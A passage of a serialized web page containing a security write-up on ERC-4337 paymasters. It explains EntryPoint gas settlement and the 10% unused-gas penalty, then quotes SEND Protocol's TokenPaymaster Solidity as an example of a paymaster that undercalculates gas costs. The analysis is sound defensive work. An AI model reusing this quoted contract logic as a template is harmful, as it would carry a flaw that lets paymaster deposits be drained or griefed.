",{"type":23,"tag":36,"props":102801,"children":102804},{"href":102802,"rel":102803},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[40],[102805],{"type":28,"value":38353},{"type":28,"value":6550},{"type":23,"tag":209,"props":102808,"children":102810},{"className":102809},[],[102811],{"type":28,"value":102812},"paymaster.postOp()",{"type":28,"value":102814}," to:\n",{"type":23,"tag":168,"props":102816,"children":102817},{},[102818,102823,102828],{"type":23,"tag":135,"props":102819,"children":102820},{},[102821],{"type":28,"value":102822},"Allow paymaster to finalize its accounting",{"type":23,"tag":135,"props":102824,"children":102825},{},[102826],{"type":28,"value":102827},"Process any refunds or additional charges",{"type":23,"tag":135,"props":102829,"children":102830},{},[102831],{"type":28,"value":102832},"Complete any paymaster-specific logic",{"type":23,"tag":135,"props":102834,"children":102835},{},[102836,102838,102843,102844,102851,102853],{"type":28,"value":102837},"Finally, after all operations are processed, the ",{"type":23,"tag":209,"props":102839,"children":102841},{"className":102840},[],[102842],{"type":28,"value":102316},{"type":28,"value":6550},{"type":23,"tag":36,"props":102845,"children":102848},{"href":102846,"rel":102847},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[40],[102849],{"type":28,"value":102850},"compensates",{"type":28,"value":102852}," the bundler for:\n",{"type":23,"tag":168,"props":102854,"children":102855},{},[102856,102861,102866],{"type":23,"tag":135,"props":102857,"children":102858},{},[102859],{"type":28,"value":102860},"Gas costs from executing all operations",{"type":23,"tag":135,"props":102862,"children":102863},{},[102864],{"type":28,"value":102865},"Overhead from submitting the batch transaction",{"type":23,"tag":135,"props":102867,"children":102868},{},[102869],{"type":28,"value":102870},"Any unused gas, which is refunded",{"type":23,"tag":24,"props":102872,"children":102873},{},[102874],{"type":28,"value":102875},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":23,"tag":24,"props":102877,"children":102878},{},[102879,102881,102886,102888,102894,102896,102901],{"type":28,"value":102880},"Now that we understand how the ",{"type":23,"tag":209,"props":102882,"children":102884},{"className":102883},[],[102885],{"type":28,"value":102316},{"type":28,"value":102887}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":23,"tag":209,"props":102889,"children":102891},{"className":102890},[],[102892],{"type":28,"value":102893},"paymasters",{"type":28,"value":102895}," that align with the ",{"type":23,"tag":209,"props":102897,"children":102899},{"className":102898},[],[102900],{"type":28,"value":102316},{"type":28,"value":102902},"'s execution model, leading to potential vulnerabilities.",{"type":23,"tag":35430,"props":102904,"children":102906},{"id":102905},"common-pitfalls-in-paymaster-implementation",[102907],{"type":28,"value":102908},"Common Pitfalls in Paymaster Implementation",{"type":23,"tag":24,"props":102910,"children":102911},{},[102912,102914,102919],{"type":28,"value":102913},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":23,"tag":209,"props":102915,"children":102917},{"className":102916},[],[102918],{"type":28,"value":102316},{"type":28,"value":102920}," to exploitation or griefing.",{"type":23,"tag":24,"props":102922,"children":102923},{},[102924,102926,102931],{"type":28,"value":102925},"In this section, we’ll walk through the ",{"type":23,"tag":95,"props":102927,"children":102928},{},[102929],{"type":28,"value":102930},"two most common pitfalls",{"type":28,"value":102932}," we’ve observed in real-world paymaster implementations:",{"type":23,"tag":47,"props":102934,"children":102936},{"id":102935},"undercalculated-gas-costs",[102937],{"type":23,"tag":95,"props":102938,"children":102939},{},[102940],{"type":28,"value":102941},"Undercalculated Gas Costs",{"type":23,"tag":24,"props":102943,"children":102944},{},[102945,102947,102952,102954,102959,102961,102966,102968,102975],{"type":28,"value":102946},"To understand this issue, let's first examine how gas penalties work in the ",{"type":23,"tag":209,"props":102948,"children":102950},{"className":102949},[],[102951],{"type":28,"value":102316},{"type":28,"value":102953},". When a ",{"type":23,"tag":209,"props":102955,"children":102957},{"className":102956},[],[102958],{"type":28,"value":102235},{"type":28,"value":102960}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":23,"tag":209,"props":102962,"children":102964},{"className":102963},[],[102965],{"type":28,"value":102316},{"type":28,"value":102967}," charges a ",{"type":23,"tag":36,"props":102969,"children":102972},{"href":102970,"rel":102971},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[40],[102973],{"type":28,"value":102974},"penalty of 10%",{"type":28,"value":102976}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":23,"tag":24,"props":102978,"children":102979},{},[102980],{"type":28,"value":102981},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":23,"tag":202,"props":102983,"children":102985},{"className":4570,"code":102984,"language":4569,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[102986],{"type":23,"tag":209,"props":102987,"children":102988},{"__ignoreMap":7},[102989,103033,103040,103097,103105,103113,103155,103162,103174,103196,103217,103247,103298,103328,103349,103387,103426,103443,103482,103506,103523,103566,103588,103605,103622,103629,103636,103662,103679,103714,103745,103757,103804,103811,103818,103825,103892,103899,103906,103913,103924,103943,103962,104026,104049,104082,104097,104132,104140,104179,104204,104225,104233,104260,104287,104295,104303,104345,104352,104359,104383,104399,104406,104413,104431,104444,104451,104459],{"type":23,"tag":213,"props":102990,"children":102991},{"class":215,"line":216},[102992,102996,103001,103006,103011,103015,103020,103024,103029],{"type":23,"tag":213,"props":102993,"children":102994},{"style":230},[102995],{"type":28,"value":89867},{"type":23,"tag":213,"props":102997,"children":102998},{"style":290},[102999],{"type":28,"value":103000}," TokenPaymaster",{"type":23,"tag":213,"props":103002,"children":103003},{"style":230},[103004],{"type":28,"value":103005}," is",{"type":23,"tag":213,"props":103007,"children":103008},{"style":290},[103009],{"type":28,"value":103010}," BasePaymaster",{"type":23,"tag":213,"props":103012,"children":103013},{"style":220},[103014],{"type":28,"value":424},{"type":23,"tag":213,"props":103016,"children":103017},{"style":290},[103018],{"type":28,"value":103019},"UniswapHelper",{"type":23,"tag":213,"props":103021,"children":103022},{"style":220},[103023],{"type":28,"value":424},{"type":23,"tag":213,"props":103025,"children":103026},{"style":290},[103027],{"type":28,"value":103028},"OracleHelper",{"type":23,"tag":213,"props":103030,"children":103031},{"style":220},[103032],{"type":28,"value":1375},{"type":23,"tag":213,"props":103034,"children":103035},{"class":215,"line":226},[103036],{"type":23,"tag":213,"props":103037,"children":103038},{"style":220},[103039],{"type":28,"value":10401},{"type":23,"tag":213,"props":103041,"children":103042},{"class":215,"line":524},[103043,103047,103052,103056,103061,103066,103071,103075,103080,103084,103088,103093],{"type":23,"tag":213,"props":103044,"children":103045},{"style":230},[103046],{"type":28,"value":89884},{"type":23,"tag":213,"props":103048,"children":103049},{"style":257},[103050],{"type":28,"value":103051}," _validatePaymasterUserOp",{"type":23,"tag":213,"props":103053,"children":103054},{"style":220},[103055],{"type":28,"value":265},{"type":23,"tag":213,"props":103057,"children":103058},{"style":230},[103059],{"type":28,"value":103060},"PackedUserOperation",{"type":23,"tag":213,"props":103062,"children":103063},{"style":230},[103064],{"type":28,"value":103065}," calldata",{"type":23,"tag":213,"props":103067,"children":103068},{"style":268},[103069],{"type":28,"value":103070}," userOp",{"type":23,"tag":213,"props":103072,"children":103073},{"style":220},[103074],{"type":28,"value":424},{"type":23,"tag":213,"props":103076,"children":103077},{"style":290},[103078],{"type":28,"value":103079},"bytes32",{"type":23,"tag":213,"props":103081,"children":103082},{"style":220},[103083],{"type":28,"value":424},{"type":23,"tag":213,"props":103085,"children":103086},{"style":290},[103087],{"type":28,"value":46219},{"type":23,"tag":213,"props":103089,"children":103090},{"style":268},[103091],{"type":28,"value":103092}," requiredPreFund",{"type":23,"tag":213,"props":103094,"children":103095},{"style":220},[103096],{"type":28,"value":2183},{"type":23,"tag":213,"props":103098,"children":103099},{"class":215,"line":533},[103100],{"type":23,"tag":213,"props":103101,"children":103102},{"style":230},[103103],{"type":28,"value":103104}," internal\n",{"type":23,"tag":213,"props":103106,"children":103107},{"class":215,"line":543},[103108],{"type":23,"tag":213,"props":103109,"children":103110},{"style":230},[103111],{"type":28,"value":103112}," override\n",{"type":23,"tag":213,"props":103114,"children":103115},{"class":215,"line":551},[103116,103121,103125,103129,103134,103138,103142,103146,103151],{"type":23,"tag":213,"props":103117,"children":103118},{"style":1362},[103119],{"type":28,"value":103120}," returns",{"type":23,"tag":213,"props":103122,"children":103123},{"style":220},[103124],{"type":28,"value":400},{"type":23,"tag":213,"props":103126,"children":103127},{"style":290},[103128],{"type":28,"value":83881},{"type":23,"tag":213,"props":103130,"children":103131},{"style":230},[103132],{"type":28,"value":103133}," memory",{"type":23,"tag":213,"props":103135,"children":103136},{"style":268},[103137],{"type":28,"value":76393},{"type":23,"tag":213,"props":103139,"children":103140},{"style":220},[103141],{"type":28,"value":424},{"type":23,"tag":213,"props":103143,"children":103144},{"style":290},[103145],{"type":28,"value":46219},{"type":23,"tag":213,"props":103147,"children":103148},{"style":268},[103149],{"type":28,"value":103150}," validationResult",{"type":23,"tag":213,"props":103152,"children":103153},{"style":220},[103154],{"type":28,"value":2183},{"type":23,"tag":213,"props":103156,"children":103157},{"class":215,"line":570},[103158],{"type":23,"tag":213,"props":103159,"children":103160},{"style":220},[103161],{"type":28,"value":2725},{"type":23,"tag":213,"props":103163,"children":103164},{"class":215,"line":655},[103165,103170],{"type":23,"tag":213,"props":103166,"children":103167},{"style":1362},[103168],{"type":28,"value":103169}," unchecked",{"type":23,"tag":213,"props":103171,"children":103172},{"style":220},[103173],{"type":28,"value":1375},{"type":23,"tag":213,"props":103175,"children":103176},{"class":215,"line":1176},[103177,103182,103187,103191],{"type":23,"tag":213,"props":103178,"children":103179},{"style":290},[103180],{"type":28,"value":103181}," uint256",{"type":23,"tag":213,"props":103183,"children":103184},{"style":220},[103185],{"type":28,"value":103186}," priceMarkup ",{"type":23,"tag":213,"props":103188,"children":103189},{"style":274},[103190],{"type":28,"value":3190},{"type":23,"tag":213,"props":103192,"children":103193},{"style":220},[103194],{"type":28,"value":103195}," tokenPaymasterConfig.priceMarkup;\n",{"type":23,"tag":213,"props":103197,"children":103198},{"class":215,"line":1202},[103199,103203,103208,103212],{"type":23,"tag":213,"props":103200,"children":103201},{"style":290},[103202],{"type":28,"value":103181},{"type":23,"tag":213,"props":103204,"children":103205},{"style":220},[103206],{"type":28,"value":103207}," baseFee ",{"type":23,"tag":213,"props":103209,"children":103210},{"style":274},[103211],{"type":28,"value":3190},{"type":23,"tag":213,"props":103213,"children":103214},{"style":220},[103215],{"type":28,"value":103216}," tokenPaymasterConfig.baseFee;\n",{"type":23,"tag":213,"props":103218,"children":103219},{"class":215,"line":1758},[103220,103224,103229,103233,103238,103242],{"type":23,"tag":213,"props":103221,"children":103222},{"style":290},[103223],{"type":28,"value":103181},{"type":23,"tag":213,"props":103225,"children":103226},{"style":220},[103227],{"type":28,"value":103228}," dataLength ",{"type":23,"tag":213,"props":103230,"children":103231},{"style":274},[103232],{"type":28,"value":3190},{"type":23,"tag":213,"props":103234,"children":103235},{"style":220},[103236],{"type":28,"value":103237}," userOp.paymasterAndData.length ",{"type":23,"tag":213,"props":103239,"children":103240},{"style":274},[103241],{"type":28,"value":4423},{"type":23,"tag":213,"props":103243,"children":103244},{"style":220},[103245],{"type":28,"value":103246}," PAYMASTER_DATA_OFFSET;\n",{"type":23,"tag":213,"props":103248,"children":103249},{"class":215,"line":1767},[103250,103255,103260,103264,103268,103272,103276,103280,103285,103289,103294],{"type":23,"tag":213,"props":103251,"children":103252},{"style":1362},[103253],{"type":28,"value":103254}," require",{"type":23,"tag":213,"props":103256,"children":103257},{"style":220},[103258],{"type":28,"value":103259},"(dataLength ",{"type":23,"tag":213,"props":103261,"children":103262},{"style":274},[103263],{"type":28,"value":8660},{"type":23,"tag":213,"props":103265,"children":103266},{"style":514},[103267],{"type":28,"value":517},{"type":23,"tag":213,"props":103269,"children":103270},{"style":274},[103271],{"type":28,"value":23756},{"type":23,"tag":213,"props":103273,"children":103274},{"style":220},[103275],{"type":28,"value":103228},{"type":23,"tag":213,"props":103277,"children":103278},{"style":274},[103279],{"type":28,"value":8660},{"type":23,"tag":213,"props":103281,"children":103282},{"style":514},[103283],{"type":28,"value":103284}," 32",{"type":23,"tag":213,"props":103286,"children":103287},{"style":220},[103288],{"type":28,"value":424},{"type":23,"tag":213,"props":103290,"children":103291},{"style":246},[103292],{"type":28,"value":103293},"\"TPM: invalid data length\"",{"type":23,"tag":213,"props":103295,"children":103296},{"style":220},[103297],{"type":28,"value":2867},{"type":23,"tag":213,"props":103299,"children":103300},{"class":215,"line":1789},[103301,103305,103310,103314,103319,103324],{"type":23,"tag":213,"props":103302,"children":103303},{"style":290},[103304],{"type":28,"value":103181},{"type":23,"tag":213,"props":103306,"children":103307},{"style":220},[103308],{"type":28,"value":103309}," maxFeePerGas ",{"type":23,"tag":213,"props":103311,"children":103312},{"style":274},[103313],{"type":28,"value":3190},{"type":23,"tag":213,"props":103315,"children":103316},{"style":220},[103317],{"type":28,"value":103318}," userOp.",{"type":23,"tag":213,"props":103320,"children":103321},{"style":257},[103322],{"type":28,"value":103323},"unpackMaxFeePerGas",{"type":23,"tag":213,"props":103325,"children":103326},{"style":220},[103327],{"type":28,"value":3759},{"type":23,"tag":213,"props":103329,"children":103330},{"class":215,"line":1812},[103331,103335,103340,103344],{"type":23,"tag":213,"props":103332,"children":103333},{"style":290},[103334],{"type":28,"value":103181},{"type":23,"tag":213,"props":103336,"children":103337},{"style":220},[103338],{"type":28,"value":103339}," refundPostopCost ",{"type":23,"tag":213,"props":103341,"children":103342},{"style":274},[103343],{"type":28,"value":3190},{"type":23,"tag":213,"props":103345,"children":103346},{"style":220},[103347],{"type":28,"value":103348}," tokenPaymasterConfig.refundPostopCost;\n",{"type":23,"tag":213,"props":103350,"children":103351},{"class":215,"line":1838},[103352,103356,103361,103365,103369,103374,103378,103383],{"type":23,"tag":213,"props":103353,"children":103354},{"style":1362},[103355],{"type":28,"value":103254},{"type":23,"tag":213,"props":103357,"children":103358},{"style":220},[103359],{"type":28,"value":103360},"(refundPostopCost ",{"type":23,"tag":213,"props":103362,"children":103363},{"style":274},[103364],{"type":28,"value":434},{"type":23,"tag":213,"props":103366,"children":103367},{"style":220},[103368],{"type":28,"value":103318},{"type":23,"tag":213,"props":103370,"children":103371},{"style":257},[103372],{"type":28,"value":103373},"unpackPostOpGasLimit",{"type":23,"tag":213,"props":103375,"children":103376},{"style":220},[103377],{"type":28,"value":18426},{"type":23,"tag":213,"props":103379,"children":103380},{"style":246},[103381],{"type":28,"value":103382},"\"TPM: postOpGasLimit too low\"",{"type":23,"tag":213,"props":103384,"children":103385},{"style":220},[103386],{"type":28,"value":2867},{"type":23,"tag":213,"props":103388,"children":103389},{"class":215,"line":1851},[103390,103394,103399,103403,103408,103412,103417,103421],{"type":23,"tag":213,"props":103391,"children":103392},{"style":290},[103393],{"type":28,"value":103181},{"type":23,"tag":213,"props":103395,"children":103396},{"style":220},[103397],{"type":28,"value":103398}," preChargeNative ",{"type":23,"tag":213,"props":103400,"children":103401},{"style":274},[103402],{"type":28,"value":3190},{"type":23,"tag":213,"props":103404,"children":103405},{"style":220},[103406],{"type":28,"value":103407}," requiredPreFund ",{"type":23,"tag":213,"props":103409,"children":103410},{"style":274},[103411],{"type":28,"value":2703},{"type":23,"tag":213,"props":103413,"children":103414},{"style":220},[103415],{"type":28,"value":103416}," (refundPostopCost ",{"type":23,"tag":213,"props":103418,"children":103419},{"style":274},[103420],{"type":28,"value":1696},{"type":23,"tag":213,"props":103422,"children":103423},{"style":220},[103424],{"type":28,"value":103425}," maxFeePerGas);\n",{"type":23,"tag":213,"props":103427,"children":103428},{"class":215,"line":1864},[103429,103434,103438],{"type":23,"tag":213,"props":103430,"children":103431},{"style":537},[103432],{"type":28,"value":103433}," // ",{"type":23,"tag":213,"props":103435,"children":103436},{"style":230},[103437],{"type":28,"value":66813},{"type":23,"tag":213,"props":103439,"children":103440},{"style":537},[103441],{"type":28,"value":103442},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":23,"tag":213,"props":103444,"children":103445},{"class":215,"line":1890},[103446,103450,103455,103459,103464,103468,103473,103477],{"type":23,"tag":213,"props":103447,"children":103448},{"style":290},[103449],{"type":28,"value":103181},{"type":23,"tag":213,"props":103451,"children":103452},{"style":220},[103453],{"type":28,"value":103454}," cachedPriceWithMarkup ",{"type":23,"tag":213,"props":103456,"children":103457},{"style":274},[103458],{"type":28,"value":3190},{"type":23,"tag":213,"props":103460,"children":103461},{"style":220},[103462],{"type":28,"value":103463}," cachedPrice ",{"type":23,"tag":213,"props":103465,"children":103466},{"style":274},[103467],{"type":28,"value":1696},{"type":23,"tag":213,"props":103469,"children":103470},{"style":220},[103471],{"type":28,"value":103472}," DENOM ",{"type":23,"tag":213,"props":103474,"children":103475},{"style":274},[103476],{"type":28,"value":4675},{"type":23,"tag":213,"props":103478,"children":103479},{"style":220},[103480],{"type":28,"value":103481}," priceMarkup;\n",{"type":23,"tag":213,"props":103483,"children":103484},{"class":215,"line":1899},[103485,103489,103494,103498,103502],{"type":23,"tag":213,"props":103486,"children":103487},{"style":1362},[103488],{"type":28,"value":58854},{"type":23,"tag":213,"props":103490,"children":103491},{"style":220},[103492],{"type":28,"value":103493}," (dataLength ",{"type":23,"tag":213,"props":103495,"children":103496},{"style":274},[103497],{"type":28,"value":8660},{"type":23,"tag":213,"props":103499,"children":103500},{"style":514},[103501],{"type":28,"value":103284},{"type":23,"tag":213,"props":103503,"children":103504},{"style":220},[103505],{"type":28,"value":14870},{"type":23,"tag":213,"props":103507,"children":103508},{"class":215,"line":1912},[103509,103514,103519],{"type":23,"tag":213,"props":103510,"children":103511},{"style":290},[103512],{"type":28,"value":103513}," uint256",{"type":23,"tag":213,"props":103515,"children":103516},{"style":220},[103517],{"type":28,"value":103518}," clientSuppliedPrice ",{"type":23,"tag":213,"props":103520,"children":103521},{"style":274},[103522],{"type":28,"value":14761},{"type":23,"tag":213,"props":103524,"children":103525},{"class":215,"line":1921},[103526,103531,103535,103539,103544,103548,103553,103557,103561],{"type":23,"tag":213,"props":103527,"children":103528},{"style":290},[103529],{"type":28,"value":103530}," uint256",{"type":23,"tag":213,"props":103532,"children":103533},{"style":220},[103534],{"type":28,"value":265},{"type":23,"tag":213,"props":103536,"children":103537},{"style":290},[103538],{"type":28,"value":103079},{"type":23,"tag":213,"props":103540,"children":103541},{"style":220},[103542],{"type":28,"value":103543},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":23,"tag":213,"props":103545,"children":103546},{"style":274},[103547],{"type":28,"value":277},{"type":23,"tag":213,"props":103549,"children":103550},{"style":220},[103551],{"type":28,"value":103552},"PAYMASTER_DATA_OFFSET ",{"type":23,"tag":213,"props":103554,"children":103555},{"style":274},[103556],{"type":28,"value":2703},{"type":23,"tag":213,"props":103558,"children":103559},{"style":514},[103560],{"type":28,"value":103284},{"type":23,"tag":213,"props":103562,"children":103563},{"style":220},[103564],{"type":28,"value":103565},"]));\n",{"type":23,"tag":213,"props":103567,"children":103568},{"class":215,"line":3879},[103569,103574,103579,103583],{"type":23,"tag":213,"props":103570,"children":103571},{"style":1362},[103572],{"type":28,"value":103573}," if",{"type":23,"tag":213,"props":103575,"children":103576},{"style":220},[103577],{"type":28,"value":103578}," (clientSuppliedPrice ",{"type":23,"tag":213,"props":103580,"children":103581},{"style":274},[103582],{"type":28,"value":434},{"type":23,"tag":213,"props":103584,"children":103585},{"style":220},[103586],{"type":28,"value":103587}," cachedPriceWithMarkup) {\n",{"type":23,"tag":213,"props":103589,"children":103590},{"class":215,"line":3887},[103591,103596,103600],{"type":23,"tag":213,"props":103592,"children":103593},{"style":537},[103594],{"type":28,"value":103595}," // ",{"type":23,"tag":213,"props":103597,"children":103598},{"style":230},[103599],{"type":28,"value":66813},{"type":23,"tag":213,"props":103601,"children":103602},{"style":537},[103603],{"type":28,"value":103604},": smaller number means 'more native asset per token'\n",{"type":23,"tag":213,"props":103606,"children":103607},{"class":215,"line":3918},[103608,103613,103617],{"type":23,"tag":213,"props":103609,"children":103610},{"style":220},[103611],{"type":28,"value":103612}," cachedPriceWithMarkup ",{"type":23,"tag":213,"props":103614,"children":103615},{"style":274},[103616],{"type":28,"value":3190},{"type":23,"tag":213,"props":103618,"children":103619},{"style":220},[103620],{"type":28,"value":103621}," clientSuppliedPrice;\n",{"type":23,"tag":213,"props":103623,"children":103624},{"class":215,"line":3926},[103625],{"type":23,"tag":213,"props":103626,"children":103627},{"style":220},[103628],{"type":28,"value":71124},{"type":23,"tag":213,"props":103630,"children":103631},{"class":215,"line":3986},[103632],{"type":23,"tag":213,"props":103633,"children":103634},{"style":220},[103635],{"type":28,"value":58938},{"type":23,"tag":213,"props":103637,"children":103638},{"class":215,"line":9132},[103639,103643,103648,103652,103657],{"type":23,"tag":213,"props":103640,"children":103641},{"style":290},[103642],{"type":28,"value":103181},{"type":23,"tag":213,"props":103644,"children":103645},{"style":220},[103646],{"type":28,"value":103647}," tokenAmount ",{"type":23,"tag":213,"props":103649,"children":103650},{"style":274},[103651],{"type":28,"value":3190},{"type":23,"tag":213,"props":103653,"children":103654},{"style":257},[103655],{"type":28,"value":103656}," weiToToken",{"type":23,"tag":213,"props":103658,"children":103659},{"style":220},[103660],{"type":28,"value":103661},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":23,"tag":213,"props":103663,"children":103664},{"class":215,"line":9150},[103665,103670,103674],{"type":23,"tag":213,"props":103666,"children":103667},{"style":220},[103668],{"type":28,"value":103669}," tokenAmount ",{"type":23,"tag":213,"props":103671,"children":103672},{"style":274},[103673],{"type":28,"value":68490},{"type":23,"tag":213,"props":103675,"children":103676},{"style":220},[103677],{"type":28,"value":103678}," baseFee;\n",{"type":23,"tag":213,"props":103680,"children":103681},{"class":215,"line":9195},[103682,103687,103692,103697,103701,103705,103709],{"type":23,"tag":213,"props":103683,"children":103684},{"style":220},[103685],{"type":28,"value":103686}," SafeERC20.",{"type":23,"tag":213,"props":103688,"children":103689},{"style":257},[103690],{"type":28,"value":103691},"safeTransferFrom",{"type":23,"tag":213,"props":103693,"children":103694},{"style":220},[103695],{"type":28,"value":103696},"(token, userOp.sender, ",{"type":23,"tag":213,"props":103698,"children":103699},{"style":290},[103700],{"type":28,"value":32696},{"type":23,"tag":213,"props":103702,"children":103703},{"style":220},[103704],{"type":28,"value":265},{"type":23,"tag":213,"props":103706,"children":103707},{"style":230},[103708],{"type":28,"value":17743},{"type":23,"tag":213,"props":103710,"children":103711},{"style":220},[103712],{"type":28,"value":103713},"), tokenAmount);\n",{"type":23,"tag":213,"props":103715,"children":103716},{"class":215,"line":9301},[103717,103722,103726,103731,103735,103740],{"type":23,"tag":213,"props":103718,"children":103719},{"style":220},[103720],{"type":28,"value":103721}," context ",{"type":23,"tag":213,"props":103723,"children":103724},{"style":274},[103725],{"type":28,"value":3190},{"type":23,"tag":213,"props":103727,"children":103728},{"style":230},[103729],{"type":28,"value":103730}," abi",{"type":23,"tag":213,"props":103732,"children":103733},{"style":220},[103734],{"type":28,"value":124},{"type":23,"tag":213,"props":103736,"children":103737},{"style":257},[103738],{"type":28,"value":103739},"encode",{"type":23,"tag":213,"props":103741,"children":103742},{"style":220},[103743],{"type":28,"value":103744},"(tokenAmount, userOp.sender);\n",{"type":23,"tag":213,"props":103746,"children":103747},{"class":215,"line":23557},[103748,103753],{"type":23,"tag":213,"props":103749,"children":103750},{"style":220},[103751],{"type":28,"value":103752}," validationResult ",{"type":23,"tag":213,"props":103754,"children":103755},{"style":274},[103756],{"type":28,"value":14761},{"type":23,"tag":213,"props":103758,"children":103759},{"class":215,"line":23592},[103760,103765,103769,103773,103777,103782,103787,103791,103796,103800],{"type":23,"tag":213,"props":103761,"children":103762},{"style":257},[103763],{"type":28,"value":103764}," _packValidationData",{"type":23,"tag":213,"props":103766,"children":103767},{"style":220},[103768],{"type":28,"value":265},{"type":23,"tag":213,"props":103770,"children":103771},{"style":230},[103772],{"type":28,"value":2499},{"type":23,"tag":213,"props":103774,"children":103775},{"style":220},[103776],{"type":28,"value":424},{"type":23,"tag":213,"props":103778,"children":103779},{"style":290},[103780],{"type":28,"value":103781},"uint48",{"type":23,"tag":213,"props":103783,"children":103784},{"style":220},[103785],{"type":28,"value":103786},"(cachedPriceTimestamp ",{"type":23,"tag":213,"props":103788,"children":103789},{"style":274},[103790],{"type":28,"value":2703},{"type":23,"tag":213,"props":103792,"children":103793},{"style":220},[103794],{"type":28,"value":103795}," tokenPaymasterConfig.priceMaxAge), ",{"type":23,"tag":213,"props":103797,"children":103798},{"style":514},[103799],{"type":28,"value":4116},{"type":23,"tag":213,"props":103801,"children":103802},{"style":220},[103803],{"type":28,"value":2867},{"type":23,"tag":213,"props":103805,"children":103806},{"class":215,"line":23600},[103807],{"type":23,"tag":213,"props":103808,"children":103809},{"style":220},[103810],{"type":28,"value":3444},{"type":23,"tag":213,"props":103812,"children":103813},{"class":215,"line":23608},[103814],{"type":23,"tag":213,"props":103815,"children":103816},{"style":220},[103817],{"type":28,"value":2875},{"type":23,"tag":213,"props":103819,"children":103820},{"class":215,"line":23617},[103821],{"type":23,"tag":213,"props":103822,"children":103823},{"style":220},[103824],{"type":28,"value":10401},{"type":23,"tag":213,"props":103826,"children":103827},{"class":215,"line":23659},[103828,103832,103837,103841,103846,103850,103854,103858,103862,103866,103870,103875,103879,103883,103888],{"type":23,"tag":213,"props":103829,"children":103830},{"style":230},[103831],{"type":28,"value":89884},{"type":23,"tag":213,"props":103833,"children":103834},{"style":257},[103835],{"type":28,"value":103836}," 